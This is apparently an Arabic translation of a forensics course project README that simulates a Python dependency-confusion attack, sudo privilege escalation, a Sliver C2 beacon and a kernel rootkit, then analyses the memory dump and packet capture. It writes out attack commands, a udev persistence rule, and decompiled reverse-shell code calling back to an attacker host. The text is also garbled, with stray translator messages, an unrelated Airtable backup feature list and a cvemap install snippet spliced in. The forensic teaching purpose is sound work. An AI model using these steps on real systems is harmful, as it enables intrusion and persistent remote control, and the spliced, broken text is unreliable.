
محاكاة شاملة من البداية إلى النهاية لهجوم التباس تبعيات Python، وتصعيد صلاحيات sudo (CVE-2025-32463)، واستمرارية قائمة على rootkit - مع تحليل جنائي كامل للذاكرة والشبكة.
طُوّر هذا المشروع كجزء من مساق "علم الأدلة الرقمية" (Digitale Forensik) في جامعة دغندورف التقنية.
يعرض المشروع تحقيقًا جنائيًا كاملاً ومحاكاة هجوم تتضمن:
هجوم خلط التبعيات (dependency confusion) باستخدام حزمة PyPI خبيثة
تصعيد الامتيازات عبر نسخة ضعيفة من sudo (CVE-2025-32463)
نشر إشارة (Beacon) لـ Sliver C2
روتكيت مخصص مع تحميل وحدات kernel، وخطافات لاستدعاءات النظام، واستمرارية قائمة على udev
تحليل كامل لآثار الذاكرة والشبكة باستخدام أدوات مثل Volatility وNetworkMiner والهندسة العكسية اليدوية
يحتوي المستودع على نصوص برمجية وتعليمات إعداد وأدلة (artifacts) وخطوات تحليل مفصّلة لإعادة إنتاج الهجوم والتحقيق الجنائي معًا.
shell)
shell binary
CVE-2025-32463
تفاصيل NVD
POC على GitHub
[!NOTE]
يجب تثبيت إصدار ضعيف من Sudo (مع دعم chroot—انظرprivesc/setup.sh)
sequenceDiagram autonumber participant Attacker participant PyPI participant IntDep as Internal Dep Server participant Dev as Developer participant C2 as C2 Server
Attacker->>PyPI: Publish package with version v1.0.3
Dev->>IntDep: pip install
IntDep-->>Dev: Returns v1.0.1
Dev->>PyPI: Fallback pip install package==v1.0.3
PyPI-->>Dev: Returns malicious v1.0.3 (stager)
Dev->>Dev: Executes stager (package_evil)
Dev->>C2: Beacon/Sliver implant calls home
Note right of C2: Attacker now has RCE
Attacker->>Dev: Enumerates sudo version (1.9.16p2)
Attacker->>Dev: Runs CVE-2025-32463 exploit
Note right of Dev: PE to root
Dev->>Dev: Downloads & runs rootkit loader binary
Dev->>Dev: Loader installs kernel module & configures udev rule
Dev->>Dev: Schedules reboot
Note right of Dev: Attacker established persistence
Dev->>Dev: System reboots
Dev->>Dev: Udev loads kernel module on boot
Dev->>C2: Kernel-stage beacon calls C2
# توليد القطع الأثرية
جميع القطع الأثرية تُولَّد يدويًا. ستستخدم جهازين:
- **جهاز المهاجم** (Kali Linux)
- **جهاز المطوّر** (Ubuntu)
سننتج ثلاث قطع أثرية:
- **PCAP** (قبل إعادة التشغيل)
- **تفريغ الذاكرة** (بعد إعادة التشغيل)
## إنشاء تفريغ الذاكرة
[كيفية تفريغ ذاكرة VirtualBox](https://www.ired.team/miscellaneous-reversing-forensics/dump-virtual-box-memory)
على النظام المضيف:```shell
vboxmanage list vms
"linux-root-kit_default_1752261916398_20346" {c2d4b5bc-d87f-4dcb-af01-85b78c163fef}
virtualboxvm --startvm "linux-root-kit_default_1752261916398_20346" --dbg
انتقل إلى الواجهة --> Debug
في وحدة تحكم Debug (موجه VMMR0>):```shell
.pgmphystofile 'dumpmem_linux_root_kit'
## تحضير تفريغ الشبكة على أوبونتو
ابدأ قبل محاكاة المطوّر. يُعد `! port 22` مفيدًا لعدم تسجيل اتصال vagrant ssh.```shell
sudo tcpdump -w output.pcap ! port 22
shell)vagrant up
قد يستغرق هذا بعض الوقت --> يقوم بتنزيل جهاز افتراضي كامل تم بناؤه باستخدام Bento.
## 2. بمجرد تشغيل الجهاز الافتراضي، قم بتسجيل الدخول عبر SSH: ```shell
vagrant ssh
sudo bash /vagrant/privesc/setup.sh sudo apt install python3.12-venv
## 4. بناء ثنائي المُحمّل في مساحة المستخدم (shell):
يمكنك أيضاً تنفيذ ملف `make` لبناء ثنائي `shell` في مساحة المستخدم. هذه أسهل طريقة للقيام بذلك - وإلا ستحتاج إلى تثبيت ملفات الرأس الصحيحة أولاً :P.
## 5. أرسل `shell` إلى Kali لتقديمه من هناك لاحقاً.
# إعداد Kali (192.168.56.101)
## 1. تشغيل خادم Sliver ```shell
sliver

generate beacon --os linux --format elf --arch amd64 --http 192.168.56.101

## 3. إعادة تسمية Beacon وتقديمه ```shell
mv INTERNATIONAL_DETENTION lilux
python3 -m http.server 9001
http -l 80 -L 0.0.0.0
# محاكاة المطوّر
## 1. استنساخ الـ PoC
يمكن أن يكون هذا المستودع أي مستودع يحتوي على إعداد ضعيف لـ dependency-confusion :D. ```
git clone https://github.com/IC3-512/dependency-confusion-attack.git
python3 -m venv .venv source .venv/bin/activate
## 3. تثبيت التبعيات ```
pip install --upgrade --force-reinstall --no-cache-dir -r requirements.txt --verbose
python3 app.py
هذا يجب أن يبدأ الحزمة الضارة، التي تقوم بتحميل الـ beacon وتنفيذه.
# محاكاة المهاجم
_(أمن تشغيلي سيء xD)_
## 1. انتظر الـ Beacon وافحص إصدار sudo:

 ```
sudo -V
ملف exploit.sh مأخوذ من pr0v3rbs (رابط GitHub) ويستهدف sudo.
الملف الثنائي shell مأخوذ من الخطوة السابقة أثناء إعداد Ubuntu.
يتم ذلك في TUI لخادم sliver: ```shell upload exploit.sh upload shell
## 3. تنفيذ Sudo Exploit
يتم تنفيذ ذلك في جلسة sliver OBVIOUS_MEASUREMENT داخل shell. ```shell
bash exploit.sh


echo 'ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/shell load"' | sudo tee /etc/udev/rules.d/99-load-rootkit.rules

## 6. إعادة التشغيل

## 7. التقاط الصدفة عند إعادة التشغيل

# التحليل
## نظرة عامة على الأدلة المجمّعة
تم جمع ثلاثة أدلة رئيسية للتحليل الجنائي:
- **تفريغ الذاكرة** (بعد الإصابة وإعادة التشغيل)
- **التقاط الشبكة (output.pcap)**
تتيح هذه الأدلة إعادة بناء الجدول الزمني للهجوم، وتحديد الملفات الثنائية الخبيثة، وتحليل آليات الاستمرارية.
## نظرة عامة سريعة على الشبكة باستخدام NetworkMiner
تم استخدام NetworkMiner لاستخراج نقاط الاتصال والملفات من التقاط الشبكة ([Network Miner](https://www.netresec.com/?page=Blog&month=2025-04&post=How-to-Install-NetworkMiner-in-Linux)).```shell
mono /opt/NetworkMiner/NetworkMiner.exe --noupdatecheck

النتيجة الرئيسية:
github.com عبر HTTPS. لم يتم استخراج أي حمولات مشبوهة؛ النشاط متسق مع استرجاع التبعيات المشروع.
pypi.org عبر HTTPS. عملية جلب حزمة قياسية؛ لا دليل على العبث أثناء النقل.
192.168.56.101 للحصول على /lilux. تم استخراج دفق TCP الخام وإزالة ترويسات HTTP، مما نتج عنه الملف lilux_hex.```shell
sha256sum lilux_hex
cb9ec2399929bae6383148dc983b0e07571534f65293fa085adac31bf35fd543أكّد التحليل عبر VirusTotal أن هذا الملف الثنائي هو **Sliver** C2 implant.

## السلوك بعد التحميل
### Sliver Beaconing
فورًا بعد تنفيذ الملف الثنائي "lilux"، يبدأ بإرسال إشارات HTTP beacon إلى **192.168.56.101:80**. تُلاحَظ حركة مرور C2 مستمرة حتى الحزمة 3642، مما يؤكد وجود اتصال نشط مع المهاجم.

### قشرة عكسية غير مشفرة
بالتوازي مع حركة مرور Sliver، يتم إنشاء **قشرة عكسية TCP غير مشفرة** إلى **192.168.56.101**. تشمل الأوامر الملتقطة ما يلي:```shell
id
```shell
hostname

تم التقاط جلسة الصدفة الكاملة في الحزم 3600–3800، مما يوفر دليلاً على التحكم التفاعلي للمهاجم.


## الملخص
### النتائج الرئيسية
1. قام **المضيف الضحية (10.0.2.15)** بتنزيل ملف ثنائي خبيث باسم “lilux” من **192.168.56.101**.
2. تم التأكد من أن الملف الثنائي هو أداة Sliver implant، والتي بدأت فوراً بإرسال إشارات الاتصال إلى خادم C2 على نفس عنوان IP.
3. تم أيضاً إنشاء صدفة عكسية مستقلة غير مشفرة إلى نفس الخادم، مما مكّن المهاجم من التحكم المباشر.
### الآثار المترتبة على التحليل الجنائي
- إن وجود قنوات C2 مشفرة (Sliver) وغير مشفرة (صدفة عكسية) معاً يُظهر ثباتاً متعدد الطبقات وتكراراً في أدوات المهاجم.
- توفر الآثار الشبكية خطاً زمنياً واضحاً للعدوى وتسليم الحمولة وتفاعل المهاجم.
# تحليل الذاكرة
## البيئة والإعداد
تم تجهيز الجهاز الافتراضي للمطوّر باستخدام Bento (`bento/ubuntu-24.04`) وإدارته عبر Vagrant. وقد ضمن ذلك بيئة قابلة لإعادة الإنتاج لكل من العدوى والتحليل الجنائي.```shell
vagrant up
vagrant ssh
تم الحصول على تفريغ الذاكرة بعد الإصابة وإعادة التشغيل، مما يوفر لقطة لجميع الوحدات والعمليات والآثار المحملة وقت التحليل.```shell sha256sum dumpmem_linux_root_kit bcc73188e6905357a514107e4eac7557bce17b7e747aa1cca416c43f56c22367 dumpmem_linux_root_kit
## تثبيت رموز التصحيح```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit banner
Volatility 3 Framework 2.26.0
Progress: 100.00 PDB scanning finished
Offset Banner
0x108c00120 Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x108dadd60 Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x10a5e1220 Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)2)
0x1105b5cd8 Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x114befcd8 Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
0x114de9cd8 Linux version 6.8.0-53-generic (buildd@lcy02-amd64-046) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 (Ubuntu 6.8.0-53.55-generic 6.8.12)
Please provide the Markdown content to translate.``` vagrant@linux-root-kit:~$ uname -a Linux linux-root-kit 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
لم يتم تضمين أي محتوى في الإدخال (INPUT) لترجمته. يرجى إرسال نص الفصل 55 من الوثيقة.```
sudo apt install ubuntu-dbgsym-keyring
echo "Types: deb
URIs: http://ddebs.ubuntu.com/
Suites: $(lsb_release -cs) $(lsb_release -cs)-updates $(lsb_release -cs)-proposed
Components: main restricted universe multiverse
Signed-by: /usr/share/keyrings/ubuntu-dbgsym-keyring.gpg" | \
sudo tee -a /etc/apt/sources.list.d/ddebs.sources
sudo apt update
يمكن أن تستغرق هذه الخطوة التالية ما يصل إلى ساعة``` sudo apt install linux-image-$(uname -r)-dbgsym
ls /usr/lib/debug/boot/vmlinux-6.8.0-53-generic
## توليد ملف رموز Volatility```
git clone https://github.com/volatilityfoundation/dwarf2json
cd dwarf2json
go build
./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.8.0-53-generic > linux-6.8.0-53-generic.json
mkdir symbols mv dwarf2json/linux-6.8.0-53-generic.json .
## تشغيل Volatility مع الرموز```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.pslist
يُستخدم Fzf لتوجيه المخرجات إلى الذاكرة والبحث الضبابي فيها --> تسريع ودون الحاجة لإعادة تنفيذ vol بالكامل
git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf ~/.fzf/install
## البحث عن الملفات المثيرة للاهتمام
البحث عن الملفات المثيرة للاهتمام في الملفات المخزنة مؤقتًا:
`/var/log/dmesg````
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf
0x8befcc063800 / 252:0 1704447 0x8befc61393a8 REG 15 15 -rw-r----- 2025-07-11 21:29:36.302604 UTC 2025-07-11 21:29:36.324615 UTC 2025-07-11 21:29:36.324615 UTC /var/log/dmesg 57657
استخراج ملف سجل dmesg:```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befc61393a8 --dump
Volatility 3 Framework 2.26.0
Progress: 100.00 Stacking attempts finished
PageVAddr PagePAddr MappingAddr Index DumpSafe Flags
## الوحدات المحمّلة
بالنظر داخل السجل نجد سجلًا مشبوهًا:```
cat inode_0x8befc61393a8.dmp | grep 'OE+'
599:[ 6.756001] kernel: Modules linked in: leds_ss4200(-) rkit(OE+) vmwgfx(+) intel_cstate(-) lpc_ich drm_ttm_helper ttm vboxguest(OE) i2c_piix4 input_leds mac_hid serio_raw sch_fq_codel dm_multipath msr efi_pstore nfnetlink dmi_sysfs ip_tables x_tables autofs4 btrfs blake2b_generic raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 crct10dif_pclmul crc32_pclmul polyval_clmulni polyval_generic ghash_clmulni_intel sha256_ssse3 e1000 sha1_ssse3 ahci libahci psmouse pata_acpi video wmi aesni_intel crypto_simd cryptd
هذا يُظهر وحدة غير افتراضية rkit!
O = خارج الشجرة (ليست من النواة القياسية)
E = لوّثت النواة (وحدة خارجية)
+ = محمّلة
عند البحث عن ميزة لهذا، وجدنا هذه الرسالة:``` vagrant@linux-root-kit:~$ cat inode_0x8befc61393a8.dmp | grep rkit -n --snip-- 666:[ 6.777129] kernel: rkit: loaded
من المحتمل أن تكون هذه رسالة تصحيح أخطاء متبقية في الوحدة الضارة.
## قاعدة Udev
البحث التقريبي عن `rkit` يكشف:```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf
0x8befcc063800 / 252:0 1049109 0x8befcbf9bd48 REG 1 1 -rw-r--r-- 2025-07-11 21:28:20.652169 UTC 2025-07-11 21:28:06.260978 UTC 2025-07-11 21:28:06.260978 UTC /etc/udev/rules.d/99-load-rootkit.rules 68
تفريغ القاعدة``` uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befcbf9bd48 --dump vagrant@linux-root-kit:~$ cat inode_0x8befcbf9bd48.dmp ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/shell load"
بالبحث عن الرقم الرئيسي، اكتشفنا أنه مخصص لـ `/dev/random`.```
ls -l /dev | grep '^c.* 1,'
crw-rw-rw- 1 root root 1, 7 Jul 13 23:16 full
crw-r--r-- 1 root root 1, 11 Jul 13 23:16 kmsg
crw-r----- 1 root kmem 1, 1 Jul 13 23:16 mem
crw-rw-rw- 1 root root 1, 3 Jul 13 23:16 null
crw-r----- 1 root kmem 1, 4 Jul 13 23:16 port
crw-rw-rw- 1 root root 1, 8 Jul 13 23:16 random
crw-rw-rw- 1 root root 1, 9 Jul 13 23:16 urandom
crw-rw-rw- 1 root root 1, 5 Jul 13 23:16 zero
الخلاصة: في كل مرة يتم إضافة /dev/random عند الإقلاع، يتم تنفيذ الأمر /shell load!
shellميزة البحث في الملفات المقسّمة إلى صفحات لبرنامج الصدفة (shell):``` vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.Files | fzf 0x8befcc063800 / 252:0 17 0x8befcbfc5908 REG 109 109 -rwxrwxr-x 2025-07-11 21:27:53.625663 UTC 2025-07-11 21:27:39.755732 UTC 2025-07-11 21:27:45.437571 UTC /shell 442880
---
### الميزات
- **سعة عالية:** يدعم ما يصل إلى 2 تيرابايت من البيانات عبر قواعد ومساحات عمل Airtable متعددة.
- **النسخ الاحتياطي التزايدي:** نسخ احتياطي للبيانات الجديدة والمُعدَّلة فقط، مما يوفر الوقت وعرض النطاق الترددي.
- **محلي أولاً:** تخزين بياناتك محليًا في SQLite للتحكم الكامل والوصول دون اتصال.
- **تخزين مرن:** دعم PostgreSQL الاختياري لمجموعات البيانات الكبيرة والوصول المتزامن.
- **تقارير غنية:** الحصول على مقاييس ملخصة مفصلة لكل عملية نسخ احتياطي.
- **قابل للتخصيص:** اختيار قواعد أو مساحات عمل أو جداول محددة لتضمينها أو استبعادها.
- **موجّه نحو الخصوصية:** بياناتك لا تغادر جهازك أبدًا إلا إلى واجهة برمجة تطبيقات Airtable.```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.pagecache.InodePages --inode 0x8befcbfc5908 --dump
file inode_0x8befcbfc5908.dmp
No Markdown content was provided. Please paste the text to translate.``` vagrant@linux-root-kit:~$ file inode_0x8befcbfc5908.dmp inode_0x8befcbfc5908.dmp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=805a820b2000eb4476724f4861a57659c9488994, for GNU/Linux 3.2.0, not stripped
# هندسة عكسية لـ `shell binary`
استخدام Ghidra مع الإعدادات الافتراضية:

```c
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
uint __fd;
undefined8 uVar2;
int *piVar3;
char *pcVar4;
long in_FS_OFFSET;
sockaddr local_a8;
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 < 2) {
fprintf(stderr,"Invalid command. Usage: %s [load|rsh]\n",*param_2);
uVar2 = 1;
}
else {
iVar1 = strcmp((char *)param_2[1],"load");
if (iVar1 == 0) {
fwrite("loading module",1,0xe,stdout);
load_module();
uVar2 = 0;
}
else {
iVar1 = strcmp((char *)param_2[1],"rsh");
if (iVar1 == 0) {
fwrite("starting shell\n",1,0xf,stdout);
daemonize();
do {
while( true ) {
while( true ) {
__fd = socket(2,1,0);
if (-1 < (int)__fd) break;
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
snprintf(local_98,0x80,"socket failed: %s",pcVar4);
log_msg(local_98);
sleep(5);
}
local_a8.sa_family = 2;
local_a8.sa_data._0_2_ = htons(0x2329);
local_a8.sa_data._2_4_ = inet_addr("192.168.56.101");
snprintf(local_98,0x80,"Connecting to %s:%d","192.168.56.101",0x2329);
log_msg(local_98);
snprintf(local_98,0x80,"About to call connect on s=%d",(ulong)__fd);
log_msg(local_98);
iVar1 = connect(__fd,&local_a8,0x10);
if (iVar1 != 0) break;
log_msg("Connection established, spawning shell");
dup2(__fd,0);
dup2(__fd,1);
dup2(__fd,2);
execl("/bin/bash","bash",0);
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
snprintf(local_98,0x80,"execl failed: %s",pcVar4);
log_msg(local_98);
close(__fd);
sleep(5);
}
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
snprintf(local_98,0x80,"connect failed: %s",pcVar4);
log_msg(local_98);
close(__fd);
sleep(5);
} while( true );
}
uVar2 = 1;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
يكشف عرض التفكيك في Ghidra (انظر الصور أعلاه) أن الدالة main تبدأ بفحص عدد وسائط سطر الأوامر. إذا تم توفير أقل من وسيطين، فإنها تطبع رسالة خطأ وتخرج.
إذا كانت الوسيطة الأولى تساوي النص "load"، تكتب main النص loading module إلى المخرجات القياسية، وتستدعي الدالة load_module، وتُرجع 0. وإذا كانت الوسيطة الأولى تساوي "rsh"، فإنها تكتب starting shell إلى المخرجات القياسية، وتستدعي daemonize()، ثم تدخل في remote_shell_loop، الذي لا يعود أبدًا. أي وسيطة أخرى تؤدي أيضًا إلى رمز خروج 1.
int load_module(void)
{ long lVar1; int *piVar2; char *pcVar3; long in_FS_OFFSET; char local_98 [136]; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); lVar1 = syscall(0xaf,&rkit_ko,(ulong)rkit_ko_len,&DAT_00102035); if ((int)lVar1 == 0) { log_msg("Module loaded via init_module !!!"); } else { piVar2 = __errno_location(); pcVar3 = strerror(*piVar2); snprintf(local_98,0x80,"init_module failed: %s",pcVar3); log_msg(local_98); } if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return (int)lVar1; }
يستدعي رقم استدعاء النظام `0xaf`، وهو __NR_init_module على لينكس .
تستخدم الدالة `load_module` استدعاء نواة لينكس `init_module` (رقم استدعاء النظام `0xAF`) لتحميل كود الوحدة المضمّن مباشرةً من الذاكرة. وتستدعي `syscall(__NR_init_module, &rkit_ko, rkit_ko_len, "")` ([جدول البحث عن استدعاءات النظام](https://syscalls.mebeim.net/?table=x86/64/x64/latest)).

يضمن هذا الأسلوب عدم ظهور الوحدة على القرص أبدًا - لا تتم كتابة أي ملف .ko. يتم تحميل وحدة النواة بالكامل من مصفوفة بايت مضمّنة في ثنائي المُحمِّل الخاص بمساحة المستخدم.
بعد ذلك يعود البرنامج.
## فرع rsh
عندما تكون الوسيطة `rsh`، بعد كتابة شل البداية، يستدعي البرنامج `daemonize()`.```c
iVar1 = strcmp((char *)param_2[1],"rsh");
if (iVar1 == 0) {
fwrite("starting shell\n",1,0xf,stdout);
daemonize();
---snippet--
}
void daemonize(void)
{ __pid_t _Var1;
_Var1 = fork(); if (_Var1 < 0) { /* WARNING: Subroutine does not return / exit(1); } if (0 < _Var1) { / WARNING: Subroutine does not return / exit(0); } _Var1 = setsid(); if (_Var1 < 0) { log_msg("setsid failed"); / WARNING: Subroutine does not return */ exit(1); } close(0); close(1); close(2); _Var1 = getpid(); kill(_Var1,0x3f); return; }
تتفرع هذه الدالة المساعدة ويخرج الأصل فورًا. تصبح العملية الفرعية قائدة جلسة عبر `setsid()`، وتغلق واصفات الملفات القياسية 0 و1 و2 (`stdin` و`stdout` و`stderr`)، وأخيرًا ترسل لنفسها الإشارة `0x3F` (`63`) للاختباء من قوائم العمليات النموذجية. تُناقش هذه لاحقًا كإحدى التقنيات من وحدة النواة. بعد التحول إلى خفي، ينتقل التحكم إلى "حلقة الصدفة العكسية".
### الصدفة العكسية```c
do {
while( true ) {
while( true ) {
__fd = socket(2,1,0);
if (-1 < (int)__fd) break;
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
snprintf(local_98,0x80,"socket failed: %s",pcVar4);
log_msg(local_98);
sleep(5);
}
local_a8.sa_family = 2;
local_a8.sa_data._0_2_ = htons(0x2329);
local_a8.sa_data._2_4_ = inet_addr("192.168.56.101");
snprintf(local_98,0x80,"Connecting to %s:%d","192.168.56.101",0x2329);
log_msg(local_98);
snprintf(local_98,0x80,"About to call connect on s=%d",(ulong)__fd);
log_msg(local_98);
iVar1 = connect(__fd,&local_a8,0x10);
if (iVar1 != 0) break;
log_msg("Connection established, spawning shell");
dup2(__fd,0);
dup2(__fd,1);
dup2(__fd,2);
execl("/bin/bash","bash",0);
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
snprintf(local_98,0x80,"execl failed: %s",pcVar4);
log_msg(local_98);
close(__fd);
sleep(5);
}
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
snprintf(local_98,0x80,"connect failed: %s",pcVar4);
log_msg(local_98);
close(__fd);
sleep(5);
} while( true );
في حلقة do-while، يحاول الثنائي باستمرار فتح مقبس IPv4 TCP في وضع SOCK_STREAM. إذا فشل إنشاء المقبس، يسجّل الخطأ وينام خمس ثوانٍ قبل إعادة المحاولة. بمجرد الحصول على مقبس، يهيّئ struct sockaddr لعنوان الهدف 192.168.56.101 والمنفذ 0x2329 (9001)، ويسجّل نيته في الاتصال، ثم يستدعي connect(). عند نجاح الاتصال، يسجّل "تم إنشاء الاتصال، ويتم تشغيل الصدفة"، ويكرر واصف المقبس على الإدخال القياسي والإخراج القياسي والخطأ القياسي عبر dup2()، ثم يشغّل /bin/bash عبر execl(). إذا فشل execl، يسجّل الخطأ، ويغلق المقبس، وينام خمس ثوانٍ، ويكرر.
load (يحقن وحدة النواة من الذاكرة، دون ترك أي أثر على القرص) وrsh (يتحول إلى عملية خفية، يخفي نفسه، ويحافظ على صدفة عكسية دائمة إلى خادم C2).RUN+="/shell load") تشغيل المُحمّل عند كل إقلاع، لإعادة حقن الوحدة من أجل الاستمرارية.إنه لا يُظهر rkit الخاص بك (كان يجب أن يكون مرئيًا هنا!؟):``` uv run vol -f dumpmem_linux_root_kit -s symbols linux.lsmod | grep rkit
--> لأنه مخفي في prpcfs```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.modxview.Modxview | grep rkit
Name Address In procfs In sysfs In scan Taints
rkit 0xffffc08e65c0 False False True OOT_MODULE,UNSIGNED_MODULE
The provided chunk appears to be empty or not included. Please provide the Markdown content to translate.```
uv run vol -f dumpmem_linux_root_kit -s symbols linux.module_extract.ModuleExtract --base 0xffffc08e65c0
Volatility 3 Framework 2.26.0
Progress: 100.00 Stacking attempts finished
Base File Size File output
0xffffc08e65c0 498984 kernel_module.rkit.0xffffc08e65c0.elf
الرجاء لصق محتوى الماركدون المراد ترجمته.```
vagrant@linux-root-kit:~$ sha256sum kernel_module.rkit.0xffffc08e65c0.elf
5f9e96f65c4abe7f6865c8f4703e509aa25b58f1c76dc0f5d74090f80471351e kernel_module.rkit.0xffffc08e65c0.elf
التفكيك باستخدام Gidra:

استدعاءات الدوال هذه تحتوي على الأسماء فقط، وليس الكود. وهي مقسمة إلى دوال FUN_*، التي يصعب قراءتها للغاية. على سبيل المثال:

لذلك، نحاول استخراج وحدة النواة ليس من الذاكرة، بل من ثنائي مساحة المستخدم (shell):```c
int load_module(void)
{ --snip-- lVar1 = syscall(0xaf,&rkit_ko,(ulong)rkit_ko_len,&DAT_00102035); --snip-- }
من هذا، يمكننا أن نرى أن وحدة النواة مخزنة في `rkit_ko` وطولها في `rkit_ko_len`. يمكننا البحث عن هذه الرموز في Ghidra.


بداية هذا هي `00104020` (النهاية `0016bedf`) والطول هو:```
rkit_ko_len XREF[2]: Entry Point(*),
load_module:001015ac(R)
0016bee0 c0 7e 06 00 undefined4 00067EC0h
→ بدّل ترتيب البايتات (أو اقرأ القيمة المستعادة) → الطول: 67EC0
تحقق:``` python3 -c 'print(hex(0x016bedf - 0x00104020 + 1))' 0x67ec0
## سكربت Python لاستخراج وحدة Kernel
عندما يتم تحميل ملف في الذاكرة—في هذه الحالة، ملف ELF—لا يتم تعيينه بنسبة 1:1 بل بإزاحات محددة هنا:
بالنسبة لبرنامجنا عند الموضع `0x00104020`، نحتاج إلى التحقق من الإزاحة التي يضيفها Ghidra:

يُظهر إزاحة مقدارها `+ 0x00100000`.```
─$ readelf -l inode_0x8befcbfc5908.dmp
# <added for clarity>
LOAD Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
# <added for clarity>
-- snip --
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000be0 0x0000000000000be0 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x0000000000000a11 0x0000000000000a11 R E 0x1000
LOAD 0x0000000000002000 0x0000000000002000 0x0000000000002000
0x00000000000002cc 0x00000000000002cc R 0x1000
LOAD 0x0000000000002d00 0x0000000000003d00 0x0000000000003d00
0x00000000000681e4 0x0000000000068230 RW 0x1000
-- snip --
هنا، نبحث عن عنواننا الافتراضي 0x00104020.
أولاً، نحتاج إلى إزالة الإزاحة التي أضافتها Ghidra:
0x00004020 = 0x00104020 − 0x00100000.
لذلك، اتبع هذه الخطوات لكل مقطع LOAD:
[VirtAddr, VirtAddr + MemSiz/FileSiz]على سبيل المثال، بالنسبة لأول مقطع LOAD:``` [VirtAddr , VirtAddr + MemSiz/FileSiz ]
[0x0000000000000000, 0x0000000000000000 + 0x0000000000000be0]
[0x0, 0xbe0]
### 2. قارن العنوان الهدف:
`0x4020` داخل النطاق `[0x3d00, 0x3d00 + 0x68230]`.
### 3. تابع حتى يتم العثور على تطابق:
`0x4020` داخل النطاق `[0x3d00, 0x3d00 + 0x68230]`.
يتم حساب الإزاحة بين الفضاء الافتراضي والقرص كالتالي `VirtAddr − Offset`، أو في هذا المثال:
0x3d00 - 0x2d00 = 0x1000
لذلك، العنوان الأساسي لملف ELF هو `0x3020`.
إذن، نستخرجه:```
with open("./inode_0x8befcbfc5908.dmp", "rb") as f: # or shell
f.seek(0x3020)
data = f.read(0x67ec0)
with open("./extracted_module", "wb") as f:
f.write(data)
```
go get github.com/projectdiscovery/cvemap/cmd/cvemap
```
https://github.com/projectdiscovery/cvemap/releases
https://github.com/projectdiscovery/cvemap
```
git clone https://github.com/projectdiscovery/cvemap.git
cd cvemap/cmd/cvemap
go build .
./cvemap -h
```
يقع ملف تهيئة مزود cvemap الافتراضي في $HOME/.config/cvemap/provider-config.yaml . هذا الملف ضروري للحصول على معلومات الثغرات من مصادر متعددة مدعومة.
